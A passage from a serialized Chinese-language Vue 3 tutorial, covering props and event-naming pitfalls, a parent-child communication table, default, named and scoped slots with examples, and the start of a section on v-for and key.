",[22,8785,8786],{},"disabled=\"\"",[22,8788,8789],{},"disabled"," 这类 HTML 写法混进来时容易和 ",[22,8792,8793],{},"String"," 类型的 props 冲突。同一个 props 不要同时声明 ",[22,8796,8797],{},"Boolean",[22,8799,8793],{},"，除非清楚这套推断规则。",[10,8802,8803,8806,8807,8810,8811,8814,8815],{},[17,8804,8805],{},"3. 子组件改 props 里的对象「不报错」。"," 单向数据流只防「重新赋值 props」，",[22,8808,8809],{},"props.user.name = 'x'"," 这种深层修改 Vue 拦不住（严格来说 ",[22,8812,8813],{},"readonly"," 代理会给出警告，但很多人直接把它绕过去了）。约定：",[17,8816,8817],{},"深层可改的数据要么交给父级改（emit），要么复制一份本地副本。",[10,8819,8820,8823,8824,8827,8828,8831,8832,8835],{},[17,8821,8822],{},"4. props 大小写。"," 模板里传 ",[22,8825,8826],{},"user-name","，子组件声明 ",[22,8829,8830],{},"userName","，Vue 会自动转换——但在浏览器 in-DOM 模板里 ",[22,8833,8834],{},":userName=\"x\""," 被转成小写后就对不上了。项目里统一 kebab-case 传值最省心。",[10,8837,8838,822,8841,8844,8845,8848,8849,8851],{},[17,8839,8840],{},"5. 事件名大小写。",[22,8842,8843],{},"emit('updateName')"," 与父级 ",[22,8846,8847],{},"@update-name"," 不匹配（",[22,8850,2849],{}," 监听在 in-DOM 模板里是小写）。事件名建议一律 kebab-case。",[10,8853,8854,8860,8861,8863],{},[17,8855,8856,8857,8859],{},"6. 忘记声明 ",[22,8858,8377],{},"，事件被当原生事件。"," 结果可能是点击触发两次（一次自定义、一次透传到根 DOM）。上一节说过，这也是要声明 ",[22,8862,8377],{}," 的核心理由。",[10,8865,8866,822,8872,8875,8876,8878,8879,8881,8882,849],{},[17,8867,8868,8869,8871],{},"7. 用 ",[22,8870,3685],{}," 解构断掉响应性。",[22,8873,8874],{},"const { title } = defineProps(...)"," 后 ",[22,8877,6364],{}," 是普通值（3.5 之前）；老教程里满大街这种写法。安全做法：",[22,8880,3697],{},"，或 ",[22,8883,8884],{},"toRef(props, 'title')",[10,8886,8887,8897,8898,8900],{},[17,8888,8889,8890,8892,8893,8896],{},"8. 父级用 ",[22,8891,2881],{}," 但子组件只声明了 ",[22,8894,8895],{},"props: ['value']","（Vue 2 习惯）。"," Vue 3 里模型名变了（",[22,8899,5478],{},"），旧写法静默失效、无任何警告——这是升级项目里最隐蔽的一类 bug。",[10,8902,8903,8916],{},[17,8904,8905,8906,422,8909,8912,8913,8915],{},"9. ",[22,8907,8908],{},"defineProps",[22,8910,8911],{},"defineEmits"," 只能写在 ",[22,8914,439],{}," 顶层。"," 它们是编译器宏（不需要 import），也不能放进函数里调用。看到「找不到 defineProps」多半是误加了 import 或写错了 script 块。",[119,8918,8920],{"id":8919},"附父子通信方式对照","附：父子通信方式对照",[53,8922,8923,8935],{},[56,8924,8925],{},[59,8926,8927,8930,8933],{},[62,8928,8929],{},"场景",[62,8931,8932],{},"方案",[62,8934,1800],{},[72,8936,8937,8949,8961,8978,8994,9005,9021],{},[59,8938,8939,8942,8946],{},[77,8940,8941],{},"父 → 子",[77,8943,8944],{},[22,8945,3685],{},[77,8947,8948],{},"只读，类型\u002F默认值\u002F校验都能声明",[59,8950,8951,8954,8958],{},[77,8952,8953],{},"子 → 父",[77,8955,8956],{},[22,8957,4753],{},[77,8959,8960],{},"事件名 kebab-case，可带载荷",[59,8962,8963,8966,8972],{},[77,8964,8965],{},"父 ⇄ 子（表单值）",[77,8967,8968,422,8970],{},[22,8969,2881],{},[22,8971,6195],{},[77,8973,8974,8975],{},"一个组件可有多模型 ",[22,8976,8977],{},"v-model:xxx",[59,8979,8980,8983,8991],{},[77,8981,8982],{},"父 → 深层子孙",[77,8984,8985,422,8988],{},[22,8986,8987],{},"provide",[22,8989,8990],{},"inject",[77,8992,8993],{},"第十三章",[59,8995,8996,8999,9002],{},[77,8997,8998],{},"全局共享状态",[77,9000,9001],{},"Pinia",[77,9003,9004],{},"第十五章",[59,9006,9007,9010,9018],{},[77,9008,9009],{},"调用子组件方法",[77,9011,9012,9013,862,9015],{},"模板 ",[22,9014,246],{},[22,9016,9017],{},"defineExpose",[77,9019,9020],{},"第十四章，最后手段",[59,9022,9023,9026,9030],{},[77,9024,9025],{},"未声明属性\u002F事件透传",[77,9027,9028],{},[22,9029,7090],{},[77,9031,9032],{},"封装第三方组件必用",[35,9034,9036],{"id":9035},"十slot-插槽把内容塞进组件","十、slot 插槽：把内容塞进组件",[10,9038,9039],{},"props 传的是「数据」，插槽传的是「界面」。有了插槽，组件才能既固定结构（卡片外框、表格骨架）又开放内容。",[119,9041,9042],{"id":9042},"三种插槽",[127,9044,9046],{"className":305,"code":9045,"language":307,"meta":132,"style":132},"\u003C!-- CardBox.vue -->\n\u003Ctemplate>\n  \u003Csection class=\"card\">\n    \u003Cheader>\u003Cslot name=\"header\">默认标题\u003C\u002Fslot>\u003C\u002Fheader>\n    \u003Cmain>\u003Cslot>这里是默认插槽的兜底内容\u003C\u002Fslot>\u003C\u002Fmain>\n    \u003Cfooter>\u003Cslot name=\"footer\" \u002F>\u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件使用 -->\n\u003Ccard-box>\n  \u003Ctemplate #header>\n    \u003Ch3>用户列表\u003C\u002Fh3>\n  \u003C\u002Ftemplate>\n\n  \u003Cp>默认插槽的内容写在这里，不用 template 包也行\u003C\u002Fp>\n\n  \u003Ctemplate #footer>\n    \u003Cbutton>关闭\u003C\u002Fbutton>\n  \u003C\u002Ftemplate>\n\u003C\u002Fcard-box>\n",[22,9047,9048,9053,9061,9076,9106,9128,9154,9162,9170,9174,9179,9188,9193,9198,9203,9207,9212,9216,9221,9226,9230],{"__ignoreMap":132},[136,9049,9050],{"class":138,"line":139},[136,9051,9052],{"class":456},"\u003C!-- CardBox.vue -->\n",[136,9054,9055,9057,9059],{"class":138,"line":169},[136,9056,143],{"class":142},[136,9058,371],{"class":146},[136,9060,166],{"class":142},[136,9062,9063,9065,9068,9070,9072,9074],{"class":138,"line":176},[136,9064,378],{"class":142},[136,9066,9067],{"class":146},"section",[136,9069,5956],{"class":150},[136,9071,154],{"class":142},[136,9073,7184],{"class":157},[136,9075,166],{"class":142},[136,9077,9078,9080,9083,9085,9087,9090,9092,9095,9098,9100,9102,9104],{"class":138,"line":199},[136,9079,2278],{"class":142},[136,9081,9082],{"class":146},"header",[136,9084,8472],{"class":142},[136,9086,7193],{"class":146},[136,9088,9089],{"class":150}," name",[136,9091,154],{"class":142},[136,9093,9094],{"class":157},"\"header\"",[136,9096,9097],{"class":142},">默认标题\u003C\u002F",[136,9099,7193],{"class":146},[136,9101,192],{"class":142},[136,9103,9082],{"class":146},[136,9105,166],{"class":142},[136,9107,9108,9110,9113,9115,9117,9120,9122,9124,9126],{"class":138,"line":208},[136,9109,2278],{"class":142},[136,9111,9112],{"class":146},"main",[136,9114,8472],{"class":142},[136,9116,7193],{"class":146},[136,9118,9119],{"class":142},">这里是默认插槽的兜底内容\u003C\u002F",[136,9121,7193],{"class":146},[136,9123,192],{"class":142},[136,9125,9112],{"class":146},[136,9127,166],{"class":142},[136,9129,9130,9132,9135,9137,9139,9141,9143,9146,9148,9150,9152],{"class":138,"line":220},[136,9131,2278],{"class":142},[136,9133,9134],{"class":146},"footer",[136,9136,8472],{"class":142},[136,9138,7193],{"class":146},[136,9140,9089],{"class":150},[136,9142,154],{"class":142},[136,9144,9145],{"class":157},"\"footer\"",[136,9147,4294],{"class":7196},[136,9149,192],{"class":142},[136,9151,9134],{"class":146},[136,9153,166],{"class":142},[136,9155,9156,9158,9160],{"class":138,"line":229},[136,9157,2307],{"class":142},[136,9159,9067],{"class":146},[136,9161,166],{"class":142},[136,9163,9164,9166,9168],{"class":138,"line":258},[136,9165,292],{"class":142},[136,9167,371],{"class":146},[136,9169,166],{"class":142},[136,9171,9172],{"class":138,"line":267},[136,9173,173],{"emptyLinePlaceholder":172},[136,9175,9176],{"class":138,"line":273},[136,9177,9178],{"class":456},"\u003C!-- 父组件使用 -->\n",[136,9180,9181,9183,9186],{"class":138,"line":289},[136,9182,143],{"class":142},[136,9184,9185],{"class":146},"card-box",[136,9187,166],{"class":142},[136,9189,9190],{"class":138,"line":605},[136,9191,9192],{"class":142},"  \u003Ctemplate #header>\n",[136,9194,9195],{"class":138,"line":2406},[136,9196,9197],{"class":142},"    \u003Ch3>用户列表\u003C\u002Fh3>\n",[136,9199,9200],{"class":138,"line":2415},[136,9201,9202],{"class":142},"  \u003C\u002Ftemplate>\n",[136,9204,9205],{"class":138,"line":4546},[136,9206,173],{"emptyLinePlaceholder":172},[136,9208,9209],{"class":138,"line":4558},[136,9210,9211],{"class":142},"  \u003Cp>默认插槽的内容写在这里，不用 template 包也行\u003C\u002Fp>\n",[136,9213,9214],{"class":138,"line":4563},[136,9215,173],{"emptyLinePlaceholder":172},[136,9217,9218],{"class":138,"line":4569},[136,9219,9220],{"class":142},"  \u003Ctemplate #footer>\n",[136,9222,9223],{"class":138,"line":4585},[136,9224,9225],{"class":142},"    \u003Cbutton>关闭\u003C\u002Fbutton>\n",[136,9227,9228],{"class":138,"line":4591},[136,9229,9202],{"class":142},[136,9231,9232,9234,9236],{"class":138,"line":6085},[136,9233,292],{"class":142},[136,9235,9185],{"class":146},[136,9237,166],{"class":142},[10,9239,9240,9241,9246,9247,9250,9251,9253],{},"规则要点：",[17,9242,9243,9244],{},"只有一个默认插槽时可以不写 ",[22,9245,403],{},"；具名插槽必须写在 ",[22,9248,9249],{},"\u003Ctemplate #名字>"," 上；子组件里 ",[22,9252,1967],{}," 之间的内容就是「父级没传时的兜底」。",[119,9255,9257],{"id":9256},"作用域插槽数据归子组件长相归父组件","作用域插槽：数据归子组件，长相归父组件",[10,9259,9260,9261,9264,9265,9267],{},"插槽内容的作用域属于",[17,9262,9263],{},"父组件","，拿不到子组件的数据。要让父级按子组件的每行数据自定义渲染，就用作用域插槽（把数据当 props 传给 ",[22,9266,1967],{},"）：",[127,9269,9271],{"className":305,"code":9270,"language":307,"meta":132,"style":132},"\u003C!-- UserList.vue -->\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cdiv v-for=\"(row, i) in rows\" :key=\"row.id\">\n      \u003Cslot name=\"row\" :row=\"row\" :index=\"i\" :odd=\"i % 2 === 1\">\n        \u003C!-- 没自定义时用一个朴素的兜底 -->\n        \u003Cspan>{{ row.name }}\u003C\u002Fspan>\n      \u003C\u002Fslot>\n    \u003C\u002Fdiv>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件：同一份数据，两种外观 -->\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row, odd }\">\n    \u003Cspan :class=\"{ zebra: odd }\">{{ row.name }} · {{ row.level }}\u003C\u002Fspan>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list>\n\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row }\">\n    \u003Cel-tag>{{ row.name }}\u003C\u002Fel-tag>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list>\n",[22,9272,9273,9278,9286,9294,9316,9355,9360,9374,9383,9392,9400,9408,9412,9417,9440,9445,9450,9454,9462,9466,9486,9491,9496,9501],{"__ignoreMap":132},[136,9274,9275],{"class":138,"line":139},[136,9276,9277],{"class":456},"\u003C!-- UserList.vue -->\n",[136,9279,9280,9282,9284],{"class":138,"line":169},[136,9281,143],{"class":142},[136,9283,371],{"class":146},[136,9285,166],{"class":142},[136,9287,9288,9290,9292],{"class":138,"line":176},[136,9289,378],{"class":142},[136,9291,147],{"class":146},[136,9293,166],{"class":142},[136,9295,9296,9298,9300,9302,9304,9307,9309,9311,9314],{"class":138,"line":199},[136,9297,2278],{"class":142},[136,9299,147],{"class":146},[136,9301,2207],{"class":150},[136,9303,154],{"class":142},[136,9305,9306],{"class":157},"\"(row, i) in rows\"",[136,9308,2215],{"class":150},[136,9310,154],{"class":142},[136,9312,9313],{"class":157},"\"row.id\"",[136,9315,166],{"class":142},[136,9317,9318,9321,9323,9325,9327,9330,9333,9335,9337,9340,9342,9345,9348,9350,9353],{"class":138,"line":208},[136,9319,9320],{"class":142},"      \u003C",[136,9322,7193],{"class":146},[136,9324,9089],{"class":150},[136,9326,154],{"class":142},[136,9328,9329],{"class":157},"\"row\"",[136,9331,9332],{"class":150}," :row",[136,9334,154],{"class":142},[136,9336,9329],{"class":157},[136,9338,9339],{"class":150}," :index",[136,9341,154],{"class":142},[136,9343,9344],{"class":157},"\"i\"",[136,9346,9347],{"class":150}," :odd",[136,9349,154],{"class":142},[136,9351,9352],{"class":157},"\"i % 2 === 1\"",[136,9354,166],{"class":142},[136,9356,9357],{"class":138,"line":220},[136,9358,9359],{"class":456},"        \u003C!-- 没自定义时用一个朴素的兜底 -->\n",[136,9361,9362,9365,9367,9370,9372],{"class":138,"line":229},[136,9363,9364],{"class":142},"        \u003C",[136,9366,136],{"class":146},[136,9368,9369],{"class":142},">{{ row.name }}\u003C\u002F",[136,9371,136],{"class":146},[136,9373,166],{"class":142},[136,9375,9376,9379,9381],{"class":138,"line":258},[136,9377,9378],{"class":142},"      \u003C\u002F",[136,9380,7193],{"class":146},[136,9382,166],{"class":142},[136,9384,9385,9388,9390],{"class":138,"line":267},[136,9386,9387],{"class":142},"    \u003C\u002F",[136,9389,147],{"class":146},[136,9391,166],{"class":142},[136,9393,9394,9396,9398],{"class":138,"line":273},[136,9395,2307],{"class":142},[136,9397,147],{"class":146},[136,9399,166],{"class":142},[136,9401,9402,9404,9406],{"class":138,"line":289},[136,9403,292],{"class":142},[136,9405,371],{"class":146},[136,9407,166],{"class":142},[136,9409,9410],{"class":138,"line":605},[136,9411,173],{"emptyLinePlaceholder":172},[136,9413,9414],{"class":138,"line":2406},[136,9415,9416],{"class":456},"\u003C!-- 父组件：同一份数据，两种外观 -->\n",[136,9418,9419,9421,9424,9426,9429,9431,9433,9436,9438],{"class":138,"line":2415},[136,9420,143],{"class":142},[136,9422,9423],{"class":146},"user-list",[136,9425,1280],{"class":142},[136,9427,9428],{"class":150},"rows",[136,9430,154],{"class":142},[136,9432,1288],{"class":157},[136,9434,9435],{"class":142},"users",[136,9437,1288],{"class":157},[136,9439,166],{"class":142},[136,9441,9442],{"class":138,"line":4546},[136,9443,9444],{"class":142},"  \u003Ctemplate #row=\"{ row, odd }\">\n",[136,9446,9447],{"class":138,"line":4558},[136,9448,9449],{"class":142},"    \u003Cspan :class=\"{ zebra: odd }\">{{ row.name }} · {{ row.level }}\u003C\u002Fspan>\n",[136,9451,9452],{"class":138,"line":4563},[136,9453,9202],{"class":142},[136,9455,9456,9458,9460],{"class":138,"line":4569},[136,9457,292],{"class":142},[136,9459,9423],{"class":146},[136,9461,166],{"class":142},[136,9463,9464],{"class":138,"line":4585},[136,9465,173],{"emptyLinePlaceholder":172},[136,9467,9468,9470,9472,9474,9476,9478,9480,9482,9484],{"class":138,"line":4591},[136,9469,143],{"class":142},[136,9471,9423],{"class":146},[136,9473,1280],{"class":142},[136,9475,9428],{"class":150},[136,9477,154],{"class":142},[136,9479,1288],{"class":157},[136,9481,9435],{"class":142},[136,9483,1288],{"class":157},[136,9485,166],{"class":142},[136,9487,9488],{"class":138,"line":6085},[136,9489,9490],{"class":142},"  \u003Ctemplate #row=\"{ row }\">\n",[136,9492,9493],{"class":138,"line":6094},[136,9494,9495],{"class":142},"    \u003Cel-tag>{{ row.name }}\u003C\u002Fel-tag>\n",[136,9497,9499],{"class":138,"line":9498},23,[136,9500,9202],{"class":142},[136,9502,9504,9506,9508],{"class":138,"line":9503},24,[136,9505,292],{"class":142},[136,9507,9423],{"class":146},[136,9509,166],{"class":142},[10,9511,9512],{},"这是 Vue 里做「可定制表格 \u002F 下拉选项 \u002F 树节点」的标准手法，也是 element-plus、vuetify 这类库文档里最容易被跳过、却最值钱的一节。",[119,9514,9516,9517,9519],{"id":9515},"动态插槽名与-v-slot-全貌","动态插槽名与 ",[22,9518,1973],{}," 全貌",[127,9521,9523],{"className":129,"code":9522,"language":131,"meta":132,"style":132},"\u003Ctemplate #[item]=\"data\">        \u003C!-- 方括号里放变量，名字动态决定 -->\n\u003Ctemplate v-slot:header=\"props\"> \u003C!-- 完整写法，作用域数据整体接住 -->\n",[22,9524,9525,9545],{"__ignoreMap":132},[136,9526,9527,9529,9531,9534,9536,9539,9542],{"class":138,"line":139},[136,9528,143],{"class":142},[136,9530,371],{"class":146},[136,9532,9533],{"class":150}," #[item]",[136,9535,154],{"class":142},[136,9537,9538],{"class":157},"\"data\"",[136,9540,9541],{"class":142},">        ",[136,9543,9544],{"class":456},"\u003C!-- 方括号里放变量，名字动态决定 -->\n",[136,9546,9547,9549,9551,9554,9556,9559,9562],{"class":138,"line":169},[136,9548,143],{"class":142},[136,9550,371],{"class":146},[136,9552,9553],{"class":150}," v-slot:header",[136,9555,154],{"class":142},[136,9557,9558],{"class":157},"\"props\"",[136,9560,9561],{"class":142},"> ",[136,9563,9564],{"class":456},"\u003C!-- 完整写法，作用域数据整体接住 -->\n",[10,9566,9567,4780,9569,9571,9572,9578,9579,9581],{},[22,9568,2898],{},[22,9570,2074],{}," 的缩写。",[17,9573,9574,9575,9577],{},"在浏览器 in-DOM 模板里请用 ",[22,9576,2059],{}," 完整写法","——",[22,9580,2898],{}," 不是合法的 HTML 属性名字符，某些解析路径下会被丢掉（示例 10 有对照）。",[10,9583,9584,9585,9588,9589,9592],{},"Vue 2 的 ",[22,9586,9587],{},"slot=\"header\""," 属性写法和 ",[22,9590,9591],{},"slot-scope"," 都已废弃，升级老代码时全局搜这两个词。",[801,9594],{"height":9595,"src":9596,"title":9597},680,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F10-slots.html","示例 10：默认\u002F具名\u002F作用域插槽与编译作用域",[10,9599,9600,9601,9604],{},"示例 10 的第三块是「同一份数据两种外观」：表格版和卡片版共用同一个 ",[22,9602,9603],{},"\u003Cuser-list>","，只有作用域插槽不同。",[119,9606,816],{"id":9607},"️-本章的坑-9",[10,9609,9610,822,9613,9616,9617,9619,9620,9622,9623,9625],{},[17,9611,9612],{},"1. 具名插槽的内容直接写在组件里，会全进默认插槽。",[22,9614,9615],{},"\u003Ccard-box>\u003Ch3 #header>标题\u003C\u002Fh3>\u003C\u002Fcard-box>"," 这种「把 ",[22,9618,2078],{}," 加在普通元素上」在 Vue 3 里不合法（",[22,9621,1973],{}," 只能用在 ",[22,9624,403],{}," 或组件上），内容会落进默认插槽或触发警告。",[10,9627,9628,9631],{},[17,9629,9630],{},"2. 插槽内容里访问不到子组件的数据。"," 这是设计如此（编译作用域归父级），不是 bug。要数据就得走作用域插槽——新手常在这里绕一大圈。",[10,9633,9634,9639,9640,9642],{},[17,9635,9636,9637,849],{},"3. 传了插槽但子组件里没有 ",[22,9638,1967],{}," 开发版警告「Extraneous non-emits event listeners \u002F Slot content was provided」，内容被静默丢弃。封装组件时先确认 ",[22,9641,1967],{}," 写全了。",[10,9644,9645,9648,9649,9652],{},[17,9646,9647],{},"4. 同一个作用域插槽内容会被求值多次。"," 在插槽里读 ",[22,9650,9651],{},"$slots.row(...)"," 手动调用时，每次调用都是重新执行一次父级函数，带副作用的写法会重复触发。",[10,9654,9655,9660,9661,849],{},[17,9656,1723,9657,9659],{},[22,9658,811],{}," 控制插槽内容时，父组件里的条件变量与子组件无关。"," 「插槽没显示」的排查顺序应该是：条件真值 → 插槽名拼写 → 子组件有没有对应 ",[22,9662,1967],{},[10,9664,9665,9672],{},[17,9666,9667,9668,9671],{},"6. 默认插槽与具名插槽混用时，",[22,9669,9670],{},"$slots.default"," 可能包含空白节点。"," 早期版本要做 trim 判断，Vue 3 已处理；但若你在 render 函数里手写插槽判断，仍需检查返回内容是否真的有意义。",[10,9674,9675,822,9678,9681,9682,9685],{},[17,9676,9677],{},"7. 具名插槽的兜底内容别忘写。",[22,9679,9680],{},"\u003Cslot name=\"footer\" \u002F>"," 空着时，父级不传就是一块空白框（外框样式还在，看着像 bug）。要么写兜底，要么用 ",[22,9683,9684],{},"v-if=\"$slots.footer\""," 把外层容器也省掉。",[119,9687,9689],{"id":9688},"附插槽语法速查","附：插槽语法速查",[53,9691,9692,9704],{},[56,9693,9694],{},[59,9695,9696,9698,9701],{},[62,9697,4907],{},[62,9699,9700],{},"子组件写法",[62,9702,9703],{},"父组件写法",[72,9705,9706,9721,9736,9751,9766,9781,9792,9810],{},[59,9707,9708,9711,9716],{},[77,9709,9710],{},"默认插槽 + 兜底",[77,9712,9713],{},[22,9714,9715],{},"\u003Cslot>兜底内容\u003C\u002Fslot>",[77,9717,9718],{},[22,9719,9720],{},"\u003Ccard>内容\u003C\u002Fcard>",[59,9722,9723,9726,9731],{},[77,9724,9725],{},"具名插槽",[77,9727,9728],{},[22,9729,9730],{},"\u003Cslot name=\"header\" \u002F>",[77,9732,9733],{},[22,9734,9735],{},"\u003Ctemplate #header>…\u003C\u002Ftemplate>",[59,9737,9738,9741,9746],{},[77,9739,9740],{},"作用域插槽",[77,9742,9743],{},[22,9744,9745],{},"\u003Cslot name=\"row\" :row=\"r\" \u002F>",[77,9747,9748],{},[22,9749,9750],{},"\u003Ctemplate #row=\"{ row }\">…\u003C\u002Ftemplate>",[59,9752,9753,9756,9764],{},[77,9754,9755],{},"插槽默认值",[77,9757,9758,4772,9761,9763],{},[22,9759,9760],{},"\u003Ctemplate #footer>\u003Cp>默认页脚\u003C\u002Fp>\u003C\u002Ftemplate>",[22,9762,1967],{}," 内",[77,9765,3831],{},[59,9767,9768,9771,9776],{},[77,9769,9770],{},"动态插槽名",[77,9772,9773],{},[22,9774,9775],{},"\u003Cslot :name=\"slotName\" \u002F>",[77,9777,9778],{},[22,9779,9780],{},"\u003Ctemplate #[slotName]>…\u003C\u002Ftemplate>",[59,9782,9783,9786,9790],{},[77,9784,9785],{},"判断父级是否传了",[77,9787,9788],{},[22,9789,9684],{},[77,9791,3831],{},[59,9793,9794,9797,9802],{},[77,9795,9796],{},"in-DOM 模板",[77,9798,9799],{},[22,9800,9801],{},"\u003Cslot name=\"header\">",[77,9803,9804,9807,9808,3039],{},[22,9805,9806],{},"\u003Ctemplate v-slot:header>","（别用 ",[22,9809,2898],{},[59,9811,9812,9815,9820],{},[77,9813,9814],{},"Vue 2 旧写法（已废弃）",[77,9816,9817],{},[22,9818,9819],{},"\u003Cslot name=\"x\">",[77,9821,9822],{},[22,9823,9824],{},"\u003Ctemplate slot=\"x\" slot-scope=\"p\">",[35,9826,9828],{"id":9827},"十一v-for-与-key列表渲染的稳定性","十一、v-for 与 key：列表渲染的稳定性",[10,9830,9831,9833,9834,9836],{},[22,9832,2650],{}," 把数组变成一串节点，",[22,9835,7727],{}," 告诉 Vue「哪个节点代表哪条数据」。这两件事写对了，列表才有正确的状态和能接受的性能——示例 11 用一个小勾选框演示了写错的后果。",[119,9838,9839],{"id":9839},"四种可遍历的数据",[127,9841,9843],{"className":129,"code":9842,"language":131,"meta":132,"style":132},"\u003Cli v-for=\"item in list\" :key=\"item.id\">{{ item.name }}\u003C\u002Fli>              \u003C!-- 数组 -->\n\u003Cli v-for=\"(item, i) in list\" :key=\"item.id\">{{ i }}: {{ item.name }}\u003C\u002Fli> \u003C!-- 带索引 -->\n\u003Cli v-for=\"(val, key) in obj\" :key=\"key\">{{ key }} = {{ val }}\u003C\u002Fli>        \u003C!-- 对象 -->\n\u003Cli v-for=\"(val, key, i) in obj\" :key=\"key\">…\u003C\u002Fli>                        \u003C!-- 对象带索引 -->\n\u003Cli v-for=\"n in 5\" :key=\"n\">第 {{ n }} 项\u003C\u002Fli>                             \u003C!-- 数字：1..5 -->\n\u003Cli v-for=\"ch of str\" :key=\"ch\">{{ ch }}\u003C\u002Fli>                             \u003C!-- 字符串 -->\n\n\u003C!-- 不想引入额外元素时用 template 分组 -->\n\u003Ctemplate v-for=\"(row, i) in rows\" :key=\"row.id\">\n  \u003Cdt>{{ row.name }}\u003C\u002Fdt>\u003Cdd>{{ row.value }}\u003C\u002Fdd>\n\u003C\u002Ftemplate>\n",[22,9844,9845,9875,9904,9934,9963,9994,10024,10028,10033,10053,10076],{"__ignoreMap":132},[136,9846,9847,9849,9851,9853,9855,9858,9860,9862,9865,9868,9870,9872],{"class":138,"line":139},[136,9848,143],{"class":142},[136,9850,1380],{"class":146},[136,9852,2207],{"class":150},[136,9854,154],{"class":142},[136,9856,9857],{"class":157},"\"item in list\"",[136,9859,2215],{"class":150},[136,9861,154],{"class":142},[136,9863,9864],{"class":157},"\"item.id\"",[136,9866,9867],{"class":142},">{{ item.name }}\u003C\u002F",[136,9869,1380],{"class":146},[136,9871,3206],{"class":142},[136,9873,9874],{"class":456},"\u003C!-- 数组 -->\n",[136,9876,9877,9879,9881,9883,9885,9888,9890,9892,9894,9897,9899,9901],{"class":138,"line":169},[136,9878,143],{"class":142},[136,9880,1380],{"class":146},[136,9882,2207],{"class":150},[136,9884,154],{"class":142},[136,9886,9887],{"class":157},"\"(item, i) in list\"",[136,9889,2215],{"class":150},[136,9891,154],{"class":142},[136,9893,9864],{"class":157},[136,9895,9896],{"class":142},">{{ i }}: {{ item.name }}\u003C\u002F",[136,9898,1380],{"class":146},[136,9900,9561],{"class":142},[136,9902,9903],{"class":456},"\u003C!-- 带索引 -->\n",[136,9905,9906,9908,9910,9912,9914,9917,9919,9921,9924,9927,9929,9931],{"class":138,"line":176},[136,9907,143],{"class":142},[136,9909,1380],{"class":146},[136,9911,2207],{"class":150},[136,9913,154],{"class":142},[136,9915,9916],{"class":157},"\"(val, key) in obj\"",[136,9918,2215],{"class":150},[136,9920,154],{"class":142},[136,9922,9923],{"class":157},"\"key\"",[136,9925,9926],{"class":142},">{{ key }} = {{ val }}\u003C\u002F",[136,9928,1380],{"class":146},[136,9930,9541],{"class":142},[136,9932,9933],{"class":456},"\u003C!-- 对象 -->\n",[136,9935,9936,9938,9940,9942,9944,9947,9949,9951,9953,9955,9957,9960],{"class":138,"line":199},[136,9937,143],{"class":142},[136,9939,1380],{"class":146},[136,9941,2207],{"class":150},[136,9943,154],{"class":142},[136,9945,9946],{"class":157},"\"(val, key, i) in obj\"",[136,9948,2215],{"class":150},[136,9950,154],{"class":142},[136,9952,9923],{"class":157},[136,9954,6835],{"class":142},[136,9956,1380],{"class":146},[136,9958,9959],{"class":142},">                        ",[136,9961,9962],{"class":456},"\u003C!-- 对象带索引 -->\n",[136,9964,9965,9967,9969,9971,9973,9976,9978,9980,9983,9986,9988,9991],{"class":138,"line":208},[136,9966,143],{"class":142},[136,9968,1380],{"class":146},[136,9970,2207],{"class":150},[136,9972,154],{"class":142},[136,9974,9975],{"class":157},"\"n in 5\"",[136,9977,2215],{"class":150},[136,9979,154],{"class":142},[136,9981,9982],{"class":157},"\"n\"",[136,9984,9985],{"class":142},">第 {{ n }} 项\u003C\u002F",[136,9987,1380],{"class":146},[136,9989,9990],{"class":142},">                             ",[136,9992,9993],{"class":456},"\u003C!-- 数字：1..5 -->\n",[136,9995,9996,9998,10000,10002,10004,10007,10009,10011,10014,10017,10019,10021],{"class":138,"line":220},[136,9997,143],{"class":142},[136,9999,1380],{"class":146},[136,10001,2207],{"class":150},[136,10003,154],{"class":142},[136,10005,10006],{"class":157},"\"ch of str\"",[136,10008,2215],{"class":150},[136,10010,154],{"class":142},[136,10012,10013],{"class":157},"\"ch\"",[136,10015,10016],{"class":142},">{{ ch }}\u003C\u002F",[136,10018,1380],{"class":146},[136,10020,9990],{"class":142},[136,10022,10023],{"class":456},"\u003C!-- 字符串 -->\n",[136,10025,10026],{"class":138,"line":229},[136,10027,173],{"emptyLinePlaceholder":172},[136,10029,10030],{"class":138,"line":258},[136,10031,10032],{"class":456},"\u003C!-- 不想引入额外元素时用 template 分组 -->\n",[136,10034,10035,10037,10039,10041,10043,10045,10047,10049,10051],{"class":138,"line":267},[136,10036,143],{"class":142},[136,10038,371],{"class":146},[136,10040,2207],{"class":150},[136,10042,154],{"class":142},[136,10044,9306],{"class":157},[136,10046,2215],{"class":150},[136,10048,154],{"class":142},[136,10050,9313],{"class":157},[136,10052,166],{"class":142},[136,10054,10055,10057,10060,10062,10064,10066,10069,10072,10074],{"class":138,"line":273},[136,10056,378],{"class":142},[136,10058,10059],{"class":146},"dt",[136,10061,9369],{"class":142},[136,10063,10059],{"class":146},[136,10065,8472],{"class":142},[136,10067,10068],{"class":146},"dd",[136,10070,10071],{"class":142},">{{ row.value }}\u003C\u002F",[136,10073,10068],{"class":146},[136,10075,166],{"class":142},[136,10077,10078,10080,10082],{"class":138,"line":289},[136,10079,292],{"class":142},[136,10081,371],{"class":146},[136,10083,166],{"class":142},[10,10085,10086,400,10089,10092,10093,10095,10096,10099,10100,10103],{},[22,10087,10088],{},"in",[22,10090,10091],{},"of"," 两种连接词等价（",[22,10094,10091],{}," 更接近 JS 的 ",[22,10097,10098],{},"for...of","，可读性略好）。遍历数字时 ",[22,10101,10102],{},"n"," 从 1 开始，不是 0——这条反直觉，值得记一下。",[119,10105,10107],{"id":10106},"key-的三条规矩","key 的三条规矩",[3244,10109,10110,10116,10129],{},[1380,10111,10112,10115],{},[17,10113,10114],{},"唯一","：同层列表内不能重复，否则 Vue 直接警告「Duplicate keys found」，节点复用错乱。",[1380,10117,10118,10121,10122,1442,10125,10128],{},[17,10119,10120],{},"稳定","：同一个数据项在任何一次渲染中 key 不变。用 ",[22,10123,10124],{},"Math.random()",[22,10126,10127],{},"Date.now()"," 当 key 会让每次渲染都重建全部节点。",[1380,10130,10131,10134,10135,849,10138,10141],{},[17,10132,10133],{},"来自数据本身","：优先用后端返回的 